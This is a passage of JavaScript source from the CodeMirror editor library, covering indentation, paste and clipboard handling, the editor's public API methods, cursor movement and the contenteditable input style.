\"prev\" when the mode doesn't have an indentation\n    // method.\n    if (!doc.mode.indent) { how = \"prev\"; }\n    else { state = getContextBefore(cm, n).state; }\n  }\n\n  var tabSize = cm.options.tabSize;\n  var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize);\n  if (line.stateAfter) { line.stateAfter = null; }\n  var curSpaceString = line.text.match(/^\\s*/)[0], indentation;\n  if (!aggressive && !/\\S/.test(line.text)) {\n    indentation = 0;\n    how = \"not\";\n  } else if (how == \"smart\") {\n    indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text);\n    if (indentation == Pass || indentation > 150) {\n      if (!aggressive) { return }\n      how = \"prev\";\n    }\n  }\n  if (how == \"prev\") {\n    if (n > doc.first) { indentation = countColumn(getLine(doc, n-1).text, null, tabSize); }\n    else { indentation = 0; }\n  } else if (how == \"add\") {\n    indentation = curSpace + cm.options.indentUnit;\n  } else if (how == \"subtract\") {\n    indentation = curSpace - cm.options.indentUnit;\n  } else if (typeof how == \"number\") {\n    indentation = curSpace + how;\n  }\n  indentation = Math.max(0, indentation);\n\n  var indentString = \"\", pos = 0;\n  if (cm.options.indentWithTabs)\n    { for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += \"\\t\";} }\n  if (pos < indentation) { indentString += spaceStr(indentation - pos); }\n\n  if (indentString != curSpaceString) {\n    replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), \"+input\");\n    line.stateAfter = null;\n    return true\n  } else {\n    // Ensure that, if the cursor was in the whitespace at the start\n    // of the line, it is moved to the end of that space.\n    for (var i$1 = 0; i$1 < doc.sel.ranges.length; i$1++) {\n      var range = doc.sel.ranges[i$1];\n      if (range.head.line == n && range.head.ch < curSpaceString.length) {\n        var pos$1 = Pos(n, curSpaceString.length);\n        replaceOneSelection(doc, i$1, new Range(pos$1, pos$1));\n        break\n      }\n    }\n  }\n}\n\n// This will be set to a {lineWise: bool, text: [string]} object, so\n// that, when pasting, we know what kind of selections the copied\n// text was made out of.\nvar lastCopied = null;\n\nfunction setLastCopied(newLastCopied) {\n  lastCopied = newLastCopied;\n}\n\nfunction applyTextInput(cm, inserted, deleted, sel, origin) {\n  var doc = cm.doc;\n  cm.display.shift = false;\n  if (!sel) { sel = doc.sel; }\n\n  var paste = cm.state.pasteIncoming || origin == \"paste\";\n  var textLines = splitLinesAuto(inserted), multiPaste = null;\n  // When pasing N lines into N selections, insert one line per selection\n  if (paste && sel.ranges.length > 1) {\n    if (lastCopied && lastCopied.text.join(\"\\n\") == inserted) {\n      if (sel.ranges.length % lastCopied.text.length == 0) {\n        multiPaste = [];\n        for (var i = 0; i < lastCopied.text.length; i++)\n          { multiPaste.push(doc.splitLines(lastCopied.text[i])); }\n      }\n    } else if (textLines.length == sel.ranges.length && cm.options.pasteLinesPerSelection) {\n      multiPaste = map(textLines, function (l) { return [l]; });\n    }\n  }\n\n  var updateInput;\n  // Normal behavior is to insert the new text into every selection\n  for (var i$1 = sel.ranges.length - 1; i$1 >= 0; i$1--) {\n    var range$$1 = sel.ranges[i$1];\n    var from = range$$1.from(), to = range$$1.to();\n    if (range$$1.empty()) {\n      if (deleted && deleted > 0) // Handle deletion\n        { from = Pos(from.line, from.ch - deleted); }\n      else if (cm.state.overwrite && !paste) // Handle overwrite\n        { to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length)); }\n      else if (lastCopied && lastCopied.lineWise && lastCopied.text.join(\"\\n\") == inserted)\n        { from = to = Pos(from.line, 0); }\n    }\n    updateInput = cm.curOp.updateInput;\n    var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i$1 % multiPaste.length] : textLines,\n                       origin: origin || (paste ? \"paste\" : cm.state.cutIncoming ? \"cut\" : \"+input\")};\n    makeChange(cm.doc, changeEvent);\n    signalLater(cm, \"inputRead\", cm, changeEvent);\n  }\n  if (inserted && !paste)\n    { triggerElectric(cm, inserted); }\n\n  ensureCursorVisible(cm);\n  cm.curOp.updateInput = updateInput;\n  cm.curOp.typing = true;\n  cm.state.pasteIncoming = cm.state.cutIncoming = false;\n}\n\nfunction handlePaste(e, cm) {\n  var pasted = e.clipboardData && e.clipboardData.getData(\"Text\");\n  if (pasted) {\n    e.preventDefault();\n    if (!cm.isReadOnly() && !cm.options.disableInput)\n      { runInOp(cm, function () { return applyTextInput(cm, pasted, 0, null, \"paste\"); }); }\n    return true\n  }\n}\n\nfunction triggerElectric(cm, inserted) {\n  // When an 'electric' character is inserted, immediately trigger a reindent\n  if (!cm.options.electricChars || !cm.options.smartIndent) { return }\n  var sel = cm.doc.sel;\n\n  for (var i = sel.ranges.length - 1; i >= 0; i--) {\n    var range$$1 = sel.ranges[i];\n    if (range$$1.head.ch > 100 || (i && sel.ranges[i - 1].head.line == range$$1.head.line)) { continue }\n    var mode = cm.getModeAt(range$$1.head);\n    var indented = false;\n    if (mode.electricChars) {\n      for (var j = 0; j < mode.electricChars.length; j++)\n        { if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {\n          indented = indentLine(cm, range$$1.head.line, \"smart\");\n          break\n        } }\n    } else if (mode.electricInput) {\n      if (mode.electricInput.test(getLine(cm.doc, range$$1.head.line).text.slice(0, range$$1.head.ch)))\n        { indented = indentLine(cm, range$$1.head.line, \"smart\"); }\n    }\n    if (indented) { signalLater(cm, \"electricInput\", cm, range$$1.head.line); }\n  }\n}\n\nfunction copyableRanges(cm) {\n  var text = [], ranges = [];\n  for (var i = 0; i < cm.doc.sel.ranges.length; i++) {\n    var line = cm.doc.sel.ranges[i].head.line;\n    var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};\n    ranges.push(lineRange);\n    text.push(cm.getRange(lineRange.anchor, lineRange.head));\n  }\n  return {text: text, ranges: ranges}\n}\n\nfunction disableBrowserMagic(field, spellcheck) {\n  field.setAttribute(\"autocorrect\", \"off\");\n  field.setAttribute(\"autocapitalize\", \"off\");\n  field.setAttribute(\"spellcheck\", !!spellcheck);\n}\n\nfunction hiddenTextarea() {\n  var te = elt(\"textarea\", null, null, \"position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none\");\n  var div = elt(\"div\", [te], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n  // The textarea is kept positioned near the cursor to prevent the\n  // fact that it'll be scrolled into view on input from scrolling\n  // our fake cursor out of view. On webkit, when wrap=off, paste is\n  // very slow. So make the area wide instead.\n  if (webkit) { te.style.width = \"1000px\"; }\n  else { te.setAttribute(\"wrap\", \"off\"); }\n  // If border: 0; -- iOS fails to open keyboard (issue #1287)\n  if (ios) { te.style.border = \"1px solid black\"; }\n  disableBrowserMagic(te);\n  return div\n}\n\n// The publicly visible API. Note that methodOp(f) means\n// 'wrap f in an operation, performed on its `this` parameter'.\n\n// This is not the complete set of editor methods. Most of the\n// methods defined on the Doc type are also injected into\n// CodeMirror.prototype, for backwards compatibility and\n// convenience.\n\nvar addEditorMethods = function(CodeMirror) {\n  var optionHandlers = CodeMirror.optionHandlers;\n\n  var helpers = CodeMirror.helpers = {};\n\n  CodeMirror.prototype = {\n    constructor: CodeMirror,\n    focus: function(){window.focus(); this.display.input.focus();},\n\n    setOption: function(option, value) {\n      var options = this.options, old = options[option];\n      if (options[option] == value && option != \"mode\") { return }\n      options[option] = value;\n      if (optionHandlers.hasOwnProperty(option))\n        { operation(this, optionHandlers[option])(this, value, old); }\n      signal(this, \"optionChange\", this, option);\n    },\n\n    getOption: function(option) {return this.options[option]},\n    getDoc: function() {return this.doc},\n\n    addKeyMap: function(map$$1, bottom) {\n      this.state.keyMaps[bottom ? \"push\" : \"unshift\"](getKeyMap(map$$1));\n    },\n    removeKeyMap: function(map$$1) {\n      var maps = this.state.keyMaps;\n      for (var i = 0; i < maps.length; ++i)\n        { if (maps[i] == map$$1 || maps[i].name == map$$1) {\n          maps.splice(i, 1);\n          return true\n        } }\n    },\n\n    addOverlay: methodOp(function(spec, options) {\n      var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec);\n      if (mode.startState) { throw new Error(\"Overlays may not be stateful.\") }\n      insertSorted(this.state.overlays,\n                   {mode: mode, modeSpec: spec, opaque: options && options.opaque,\n                    priority: (options && options.priority) || 0},\n                   function (overlay) { return overlay.priority; });\n      this.state.modeGen++;\n      regChange(this);\n    }),\n    removeOverlay: methodOp(function(spec) {\n      var this$1 = this;\n\n      var overlays = this.state.overlays;\n      for (var i = 0; i < overlays.length; ++i) {\n        var cur = overlays[i].modeSpec;\n        if (cur == spec || typeof spec == \"string\" && cur.name == spec) {\n          overlays.splice(i, 1);\n          this$1.state.modeGen++;\n          regChange(this$1);\n          return\n        }\n      }\n    }),\n\n    indentLine: methodOp(function(n, dir, aggressive) {\n      if (typeof dir != \"string\" && typeof dir != \"number\") {\n        if (dir == null) { dir = this.options.smartIndent ? \"smart\" : \"prev\"; }\n        else { dir = dir ? \"add\" : \"subtract\"; }\n      }\n      if (isLine(this.doc, n)) { indentLine(this, n, dir, aggressive); }\n    }),\n    indentSelection: methodOp(function(how) {\n      var this$1 = this;\n\n      var ranges = this.doc.sel.ranges, end = -1;\n      for (var i = 0; i < ranges.length; i++) {\n        var range$$1 = ranges[i];\n        if (!range$$1.empty()) {\n          var from = range$$1.from(), to = range$$1.to();\n          var start = Math.max(end, from.line);\n          end = Math.min(this$1.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;\n          for (var j = start; j < end; ++j)\n            { indentLine(this$1, j, how); }\n          var newRanges = this$1.doc.sel.ranges;\n          if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0)\n            { replaceOneSelection(this$1.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll); }\n        } else if (range$$1.head.line > end) {\n          indentLine(this$1, range$$1.head.line, how, true);\n          end = range$$1.head.line;\n          if (i == this$1.doc.sel.primIndex) { ensureCursorVisible(this$1); }\n        }\n      }\n    }),\n\n    // Fetch the parser token for a given character. Useful for hacks\n    // that want to inspect the mode state (say, for completion).\n    getTokenAt: function(pos, precise) {\n      return takeToken(this, pos, precise)\n    },\n\n    getLineTokens: function(line, precise) {\n      return takeToken(this, Pos(line), precise, true)\n    },\n\n    getTokenTypeAt: function(pos) {\n      pos = clipPos(this.doc, pos);\n      var styles = getLineStyles(this, getLine(this.doc, pos.line));\n      var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;\n      var type;\n      if (ch == 0) { type = styles[2]; }\n      else { for (;;) {\n        var mid = (before + after) >> 1;\n        if ((mid ? styles[mid * 2 - 1] : 0) >= ch) { after = mid; }\n        else if (styles[mid * 2 + 1] < ch) { before = mid + 1; }\n        else { type = styles[mid * 2 + 2]; break }\n      } }\n      var cut = type ? type.indexOf(\"overlay \") : -1;\n      return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1)\n    },\n\n    getModeAt: function(pos) {\n      var mode = this.doc.mode;\n      if (!mode.innerMode) { return mode }\n      return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode\n    },\n\n    getHelper: function(pos, type) {\n      return this.getHelpers(pos, type)[0]\n    },\n\n    getHelpers: function(pos, type) {\n      var this$1 = this;\n\n      var found = [];\n      if (!helpers.hasOwnProperty(type)) { return found }\n      var help = helpers[type], mode = this.getModeAt(pos);\n      if (typeof mode[type] == \"string\") {\n        if (help[mode[type]]) { found.push(help[mode[type]]); }\n      } else if (mode[type]) {\n        for (var i = 0; i < mode[type].length; i++) {\n          var val = help[mode[type][i]];\n          if (val) { found.push(val); }\n        }\n      } else if (mode.helperType && help[mode.helperType]) {\n        found.push(help[mode.helperType]);\n      } else if (help[mode.name]) {\n        found.push(help[mode.name]);\n      }\n      for (var i$1 = 0; i$1 < help._global.length; i$1++) {\n        var cur = help._global[i$1];\n        if (cur.pred(mode, this$1) && indexOf(found, cur.val) == -1)\n          { found.push(cur.val); }\n      }\n      return found\n    },\n\n    getStateAfter: function(line, precise) {\n      var doc = this.doc;\n      line = clipLine(doc, line == null ? doc.first + doc.size - 1: line);\n      return getContextBefore(this, line + 1, precise).state\n    },\n\n    cursorCoords: function(start, mode) {\n      var pos, range$$1 = this.doc.sel.primary();\n      if (start == null) { pos = range$$1.head; }\n      else if (typeof start == \"object\") { pos = clipPos(this.doc, start); }\n      else { pos = start ? range$$1.from() : range$$1.to(); }\n      return cursorCoords(this, pos, mode || \"page\")\n    },\n\n    charCoords: function(pos, mode) {\n      return charCoords(this, clipPos(this.doc, pos), mode || \"page\")\n    },\n\n    coordsChar: function(coords, mode) {\n      coords = fromCoordSystem(this, coords, mode || \"page\");\n      return coordsChar(this, coords.left, coords.top)\n    },\n\n    lineAtHeight: function(height, mode) {\n      height = fromCoordSystem(this, {top: height, left: 0}, mode || \"page\").top;\n      return lineAtHeight(this.doc, height + this.display.viewOffset)\n    },\n    heightAtLine: function(line, mode, includeWidgets) {\n      var end = false, lineObj;\n      if (typeof line == \"number\") {\n        var last = this.doc.first + this.doc.size - 1;\n        if (line < this.doc.first) { line = this.doc.first; }\n        else if (line > last) { line = last; end = true; }\n        lineObj = getLine(this.doc, line);\n      } else {\n        lineObj = line;\n      }\n      return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || \"page\", includeWidgets || end).top +\n        (end ? this.doc.height - heightAtLine(lineObj) : 0)\n    },\n\n    defaultTextHeight: function() { return textHeight(this.display) },\n    defaultCharWidth: function() { return charWidth(this.display) },\n\n    getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo}},\n\n    addWidget: function(pos, node, scroll, vert, horiz) {\n      var display = this.display;\n      pos = cursorCoords(this, clipPos(this.doc, pos));\n      var top = pos.bottom, left = pos.left;\n      node.style.position = \"absolute\";\n      node.setAttribute(\"cm-ignore-events\", \"true\");\n      this.display.input.setUneditable(node);\n      display.sizer.appendChild(node);\n      if (vert == \"over\") {\n        top = pos.top;\n      } else if (vert == \"above\" || vert == \"near\") {\n        var vspace = Math.max(display.wrapper.clientHeight, this.doc.height),\n        hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth);\n        // Default to positioning above (if specified and possible); otherwise default to positioning below\n        if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight)\n          { top = pos.top - node.offsetHeight; }\n        else if (pos.bottom + node.offsetHeight <= vspace)\n          { top = pos.bottom; }\n        if (left + node.offsetWidth > hspace)\n          { left = hspace - node.offsetWidth; }\n      }\n      node.style.top = top + \"px\";\n      node.style.left = node.style.right = \"\";\n      if (horiz == \"right\") {\n        left = display.sizer.clientWidth - node.offsetWidth;\n        node.style.right = \"0px\";\n      } else {\n        if (horiz == \"left\") { left = 0; }\n        else if (horiz == \"middle\") { left = (display.sizer.clientWidth - node.offsetWidth) / 2; }\n        node.style.left = left + \"px\";\n      }\n      if (scroll)\n        { scrollIntoView(this, {left: left, top: top, right: left + node.offsetWidth, bottom: top + node.offsetHeight}); }\n    },\n\n    triggerOnKeyDown: methodOp(onKeyDown),\n    triggerOnKeyPress: methodOp(onKeyPress),\n    triggerOnKeyUp: onKeyUp,\n    triggerOnMouseDown: methodOp(onMouseDown),\n\n    execCommand: function(cmd) {\n      if (commands.hasOwnProperty(cmd))\n        { return commands[cmd].call(null, this) }\n    },\n\n    triggerElectric: methodOp(function(text) { triggerElectric(this, text); }),\n\n    findPosH: function(from, amount, unit, visually) {\n      var this$1 = this;\n\n      var dir = 1;\n      if (amount < 0) { dir = -1; amount = -amount; }\n      var cur = clipPos(this.doc, from);\n      for (var i = 0; i < amount; ++i) {\n        cur = findPosH(this$1.doc, cur, dir, unit, visually);\n        if (cur.hitSide) { break }\n      }\n      return cur\n    },\n\n    moveH: methodOp(function(dir, unit) {\n      var this$1 = this;\n\n      this.extendSelectionsBy(function (range$$1) {\n        if (this$1.display.shift || this$1.doc.extend || range$$1.empty())\n          { return findPosH(this$1.doc, range$$1.head, dir, unit, this$1.options.rtlMoveVisually) }\n        else\n          { return dir < 0 ? range$$1.from() : range$$1.to() }\n      }, sel_move);\n    }),\n\n    deleteH: methodOp(function(dir, unit) {\n      var sel = this.doc.sel, doc = this.doc;\n      if (sel.somethingSelected())\n        { doc.replaceSelection(\"\", null, \"+delete\"); }\n      else\n        { deleteNearSelection(this, function (range$$1) {\n          var other = findPosH(doc, range$$1.head, dir, unit, false);\n          return dir < 0 ? {from: other, to: range$$1.head} : {from: range$$1.head, to: other}\n        }); }\n    }),\n\n    findPosV: function(from, amount, unit, goalColumn) {\n      var this$1 = this;\n\n      var dir = 1, x = goalColumn;\n      if (amount < 0) { dir = -1; amount = -amount; }\n      var cur = clipPos(this.doc, from);\n      for (var i = 0; i < amount; ++i) {\n        var coords = cursorCoords(this$1, cur, \"div\");\n        if (x == null) { x = coords.left; }\n        else { coords.left = x; }\n        cur = findPosV(this$1, coords, dir, unit);\n        if (cur.hitSide) { break }\n      }\n      return cur\n    },\n\n    moveV: methodOp(function(dir, unit) {\n      var this$1 = this;\n\n      var doc = this.doc, goals = [];\n      var collapse = !this.display.shift && !doc.extend && doc.sel.somethingSelected();\n      doc.extendSelectionsBy(function (range$$1) {\n        if (collapse)\n          { return dir < 0 ? range$$1.from() : range$$1.to() }\n        var headPos = cursorCoords(this$1, range$$1.head, \"div\");\n        if (range$$1.goalColumn != null) { headPos.left = range$$1.goalColumn; }\n        goals.push(headPos.left);\n        var pos = findPosV(this$1, headPos, dir, unit);\n        if (unit == \"page\" && range$$1 == doc.sel.primary())\n          { addToScrollTop(this$1, charCoords(this$1, pos, \"div\").top - headPos.top); }\n        return pos\n      }, sel_move);\n      if (goals.length) { for (var i = 0; i < doc.sel.ranges.length; i++)\n        { doc.sel.ranges[i].goalColumn = goals[i]; } }\n    }),\n\n    // Find the word at the given position (as returned by coordsChar).\n    findWordAt: function(pos) {\n      var doc = this.doc, line = getLine(doc, pos.line).text;\n      var start = pos.ch, end = pos.ch;\n      if (line) {\n        var helper = this.getHelper(pos, \"wordChars\");\n        if ((pos.sticky == \"before\" || end == line.length) && start) { --start; } else { ++end; }\n        var startChar = line.charAt(start);\n        var check = isWordChar(startChar, helper)\n          ? function (ch) { return isWordChar(ch, helper); }\n          : /\\s/.test(startChar) ? function (ch) { return /\\s/.test(ch); }\n          : function (ch) { return (!/\\s/.test(ch) && !isWordChar(ch)); };\n        while (start > 0 && check(line.charAt(start - 1))) { --start; }\n        while (end < line.length && check(line.charAt(end))) { ++end; }\n      }\n      return new Range(Pos(pos.line, start), Pos(pos.line, end))\n    },\n\n    toggleOverwrite: function(value) {\n      if (value != null && value == this.state.overwrite) { return }\n      if (this.state.overwrite = !this.state.overwrite)\n        { addClass(this.display.cursorDiv, \"CodeMirror-overwrite\"); }\n      else\n        { rmClass(this.display.cursorDiv, \"CodeMirror-overwrite\"); }\n\n      signal(this, \"overwriteToggle\", this, this.state.overwrite);\n    },\n    hasFocus: function() { return this.display.input.getField() == activeElt() },\n    isReadOnly: function() { return !!(this.options.readOnly || this.doc.cantEdit) },\n\n    scrollTo: methodOp(function (x, y) { scrollToCoords(this, x, y); }),\n    getScrollInfo: function() {\n      var scroller = this.display.scroller;\n      return {left: scroller.scrollLeft, top: scroller.scrollTop,\n              height: scroller.scrollHeight - scrollGap(this) - this.display.barHeight,\n              width: scroller.scrollWidth - scrollGap(this) - this.display.barWidth,\n              clientHeight: displayHeight(this), clientWidth: displayWidth(this)}\n    },\n\n    scrollIntoView: methodOp(function(range$$1, margin) {\n      if (range$$1 == null) {\n        range$$1 = {from: this.doc.sel.primary().head, to: null};\n        if (margin == null) { margin = this.options.cursorScrollMargin; }\n      } else if (typeof range$$1 == \"number\") {\n        range$$1 = {from: Pos(range$$1, 0), to: null};\n      } else if (range$$1.from == null) {\n        range$$1 = {from: range$$1, to: null};\n      }\n      if (!range$$1.to) { range$$1.to = range$$1.from; }\n      range$$1.margin = margin || 0;\n\n      if (range$$1.from.line != null) {\n        scrollToRange(this, range$$1);\n      } else {\n        scrollToCoordsRange(this, range$$1.from, range$$1.to, range$$1.margin);\n      }\n    }),\n\n    setSize: methodOp(function(width, height) {\n      var this$1 = this;\n\n      var interpret = function (val) { return typeof val == \"number\" || /^\\d+$/.test(String(val)) ? val + \"px\" : val; };\n      if (width != null) { this.display.wrapper.style.width = interpret(width); }\n      if (height != null) { this.display.wrapper.style.height = interpret(height); }\n      if (this.options.lineWrapping) { clearLineMeasurementCache(this); }\n      var lineNo$$1 = this.display.viewFrom;\n      this.doc.iter(lineNo$$1, this.display.viewTo, function (line) {\n        if (line.widgets) { for (var i = 0; i < line.widgets.length; i++)\n          { if (line.widgets[i].noHScroll) { regLineChange(this$1, lineNo$$1, \"widget\"); break } } }\n        ++lineNo$$1;\n      });\n      this.curOp.forceUpdate = true;\n      signal(this, \"refresh\", this);\n    }),\n\n    operation: function(f){return runInOp(this, f)},\n\n    refresh: methodOp(function() {\n      var oldHeight = this.display.cachedTextHeight;\n      regChange(this);\n      this.curOp.forceUpdate = true;\n      clearCaches(this);\n      scrollToCoords(this, this.doc.scrollLeft, this.doc.scrollTop);\n      updateGutterSpace(this);\n      if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5)\n        { estimateLineHeights(this); }\n      signal(this, \"refresh\", this);\n    }),\n\n    swapDoc: methodOp(function(doc) {\n      var old = this.doc;\n      old.cm = null;\n      attachDoc(this, doc);\n      clearCaches(this);\n      this.display.input.reset();\n      scrollToCoords(this, doc.scrollLeft, doc.scrollTop);\n      this.curOp.forceScroll = true;\n      signalLater(this, \"swapDoc\", this, old);\n      return old\n    }),\n\n    getInputField: function(){return this.display.input.getField()},\n    getWrapperElement: function(){return this.display.wrapper},\n    getScrollerElement: function(){return this.display.scroller},\n    getGutterElement: function(){return this.display.gutters}\n  };\n  eventMixin(CodeMirror);\n\n  CodeMirror.registerHelper = function(type, name, value) {\n    if (!helpers.hasOwnProperty(type)) { helpers[type] = CodeMirror[type] = {_global: []}; }\n    helpers[type][name] = value;\n  };\n  CodeMirror.registerGlobalHelper = function(type, name, predicate, value) {\n    CodeMirror.registerHelper(type, name, value);\n    helpers[type]._global.push({pred: predicate, val: value});\n  };\n};\n\n// Used for horizontal relative motion. Dir is -1 or 1 (left or\n// right), unit can be \"char\", \"column\" (like char, but doesn't\n// cross line boundaries), \"word\" (across next word), or \"group\" (to\n// the start of next group of word or non-word-non-whitespace\n// chars). The visually param controls whether, in right-to-left\n// text, direction 1 means to move towards the next index in the\n// string, or towards the character to the right of the current\n// position. The resulting position will have a hitSide=true\n// property if it reached the end of the document.\nfunction findPosH(doc, pos, dir, unit, visually) {\n  var oldPos = pos;\n  var origDir = dir;\n  var lineObj = getLine(doc, pos.line);\n  function findNextLine() {\n    var l = pos.line + dir;\n    if (l < doc.first || l >= doc.first + doc.size) { return false }\n    pos = new Pos(l, pos.ch, pos.sticky);\n    return lineObj = getLine(doc, l)\n  }\n  function moveOnce(boundToLine) {\n    var next;\n    if (visually) {\n      next = moveVisually(doc.cm, lineObj, pos, dir);\n    } else {\n      next = moveLogically(lineObj, pos, dir);\n    }\n    if (next == null) {\n      if (!boundToLine && findNextLine())\n        { pos = endOfLine(visually, doc.cm, lineObj, pos.line, dir); }\n      else\n        { return false }\n    } else {\n      pos = next;\n    }\n    return true\n  }\n\n  if (unit == \"char\") {\n    moveOnce();\n  } else if (unit == \"column\") {\n    moveOnce(true);\n  } else if (unit == \"word\" || unit == \"group\") {\n    var sawType = null, group = unit == \"group\";\n    var helper = doc.cm && doc.cm.getHelper(pos, \"wordChars\");\n    for (var first = true;; first = false) {\n      if (dir < 0 && !moveOnce(!first)) { break }\n      var cur = lineObj.text.charAt(pos.ch) || \"\\n\";\n      var type = isWordChar(cur, helper) ? \"w\"\n        : group && cur == \"\\n\" ? \"n\"\n        : !group || /\\s/.test(cur) ? null\n        : \"p\";\n      if (group && !first && !type) { type = \"s\"; }\n      if (sawType && sawType != type) {\n        if (dir < 0) {dir = 1; moveOnce(); pos.sticky = \"after\";}\n        break\n      }\n\n      if (type) { sawType = type; }\n      if (dir > 0 && !moveOnce(!first)) { break }\n    }\n  }\n  var result = skipAtomic(doc, pos, oldPos, origDir, true);\n  if (equalCursorPos(oldPos, result)) { result.hitSide = true; }\n  return result\n}\n\n// For relative vertical movement. Dir may be -1 or 1. Unit can be\n// \"page\" or \"line\". The resulting position will have a hitSide=true\n// property if it reached the end of the document.\nfunction findPosV(cm, pos, dir, unit) {\n  var doc = cm.doc, x = pos.left, y;\n  if (unit == \"page\") {\n    var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight);\n    var moveAmount = Math.max(pageSize - .5 * textHeight(cm.display), 3);\n    y = (dir > 0 ? pos.bottom : pos.top) + dir * moveAmount;\n\n  } else if (unit == \"line\") {\n    y = dir > 0 ? pos.bottom + 3 : pos.top - 3;\n  }\n  var target;\n  for (;;) {\n    target = coordsChar(cm, x, y);\n    if (!target.outside) { break }\n    if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break }\n    y += dir * 5;\n  }\n  return target\n}\n\n// CONTENTEDITABLE INPUT STYLE\n\nvar ContentEditableInput = function(cm) {\n  this.cm = cm;\n  this.lastAnchorNode = this.lastAnchorOffset = this.lastFocusNode = this.lastFocusOffset = null;\n  this.polling = new Delayed();\n  this.composing = null;\n  this.gracePeriod = false;\n  this.readDOMTimeout = null;\n};\n\nContentEditableInput.prototype.init = function (display) {\n    var this$1 = this;\n\n  var input = this, cm = input.cm;\n  var div = input.div = display.lineDiv;\n  disableBrowserMagic(div, cm.options.spellcheck);\n\n  on(div, \"paste\", function (e) {\n    if (signalDOMEvent(cm, e) || handlePaste(e, cm)) { return }\n    // IE doesn't fire input events, so we schedule a read for the pasted content in this way\n    if (ie_version <= 11) { setTimeout(operation(cm, function () { return this$1.updateFromDOM(); }), 20); }\n  });\n\n  on(div, \"compositionstart\", function (e) {\n    this$1.composing = {data: e.data, done: false};\n  });\n  on(div, \"compositionupdate\", function (e) {\n    if (!this$1.composing) { this$1.composing = {data: e.data, done: false}; }\n  });\n  on(div, \"compositionend\", function (e) {\n    if (this$1.composing) {\n      if (e.data != this$1.composing.data) { this$1.readFromDOMSoon(); }\n      this$1.composing.done = true;\n    }\n  });\n\n  on(div, \"touchstart\", function () { return input.forceCompositionEnd(); });\n\n  on(div, \"input\", function () {\n    if (!this$1.composing) { this$1.readFromDOMSoon(); }\n  });\n\n  function onCopyCut(e) {\n    if (signalDOMEvent(cm, e)) { return }\n    if (cm.somethingSelected()) {\n      setLastCopied({lineWise: false, text: cm.getSelections()});\n      if (e.type == \"cut\") { cm.replaceSelection(\"\", null, \"cut\"); }\n    } else if (!cm.options.lineWiseCopyCut) {\n      return\n    } else {\n      var ranges = copyableRanges(cm);\n      setLastCopied({lineWise: true, text: ranges.text});\n      if (e.type == \"cut\") {\n        cm.operation(function () {\n          cm.setSelections(ranges.ranges, 0, sel_dontScroll);\n          cm.replaceSelection(\"\", null, \"cut\");\n        });\n      }\n    }\n    if (e.clipboardData) {\n      e.clipboardData.clearData();\n      var content = lastCopied.text.join(\"\\n\");\n      // iOS exposes the clipboard API, but seems to discard content inserted into it\n      e.clipboardData.setData(\"Text\", content);\n      if (e.clipboardData.getData(\"Text\") == content) {\n        e.preventDefault();\n        return\n      }\n    }\n    // Old-fashioned briefly-focus-a-textarea hack\n    var kludge = hiddenTextarea(), te = kludge.firstChild;\n    cm.display.lineSpace.insertBefore(kludge, cm.display.lineSpace.firstChild);\n    te.value = lastCopied.text.join(\"\\n\");\n    var hadFocus = document.activeElement;\n    selectInput(te);\n    setTimeout(function () {\n      cm.display.lineSpace.removeChild(kludge);\n      hadFocus.focus();\n      if (hadFocus == div) { input.showPrimarySelection(); }\n    }, 50);\n  }\n  on(div, \"copy\", onCopyCut);\n  on(div, \"cut\", onCopyCut);\n};\n\nContentEditableInput.prototype.prepareSelection = function () {\n  var result = prepareSelection(this.cm, false);\n  result.focus = this.cm.state.focused;\n  return result\n};\n\nContentEditableInput.prototype.showSelection = function (info, takeFocus) {\n  if (!info || !this.cm.display.view.length) { return }\n  if (info.focus || takeFocus) { this.showPrimarySelection(); }\n  this.showMultipleSelections(info);\n};\n\nContentEditableInput.prototype.showPrimarySelection = function () {\n  var sel = window.getSelection(), cm = this.cm, prim = cm.doc.sel.primary();\n  var from = prim.from(), to = prim.to();\n\n  if (cm.display.viewTo == cm.display.viewFrom || from.line >= cm.display.viewTo || to.line < cm.display.viewFrom) {\n    sel.removeAllRanges();\n    return\n  }\n\n  var curAnchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);\n  var curFocus = domToPos(cm, sel.focusNode, sel.focusOffset);\n  if (curAnchor && !curAnchor.bad && curFocus && !curFocus.bad &&\n      cmp(minPos(curAnchor, curFocus), from) == 0 &&\n      cmp(maxPos(curAnchor, curFocus), to) == 0)\n    { return }\n\n  var view = cm.display.view;\n  var start = (from.line >= cm.display.viewFrom && posToDOM(cm, from)) ||\n      {node: view[0].measure.map[2], offset: 0};\n  var end = to.line < cm.display.viewTo && posToDOM(cm, to);\n  if (!end) {\n    var measure = view[view.length - 1].measure;\n    var map$$1 = measure.maps ? measure.maps[measure.maps.length - 1] : measure.map;\n    end = {node: map$$1[map$$1.length - 1], offset: map$$1[map$$1.length - 2] - map$$1[map$$1.length - 3]};\n  }\n\n  if (!start || !end) {\n    sel.removeAllRanges();\n    return\n  }\n\n  var old = sel.rangeCount && sel.getRangeAt(0), rng;\n  try { rng = range(start.node, start.offset, end.offset, end.node); }\n  catch(e) {} // Our model of the DOM might be outdated, in which case the range we try to set can be impossible\n  if (rng) {\n    if (!gecko && cm.state.focused) {\n      sel.collapse(start.node, start.offset);\n      if (!rng.collapsed) {\n        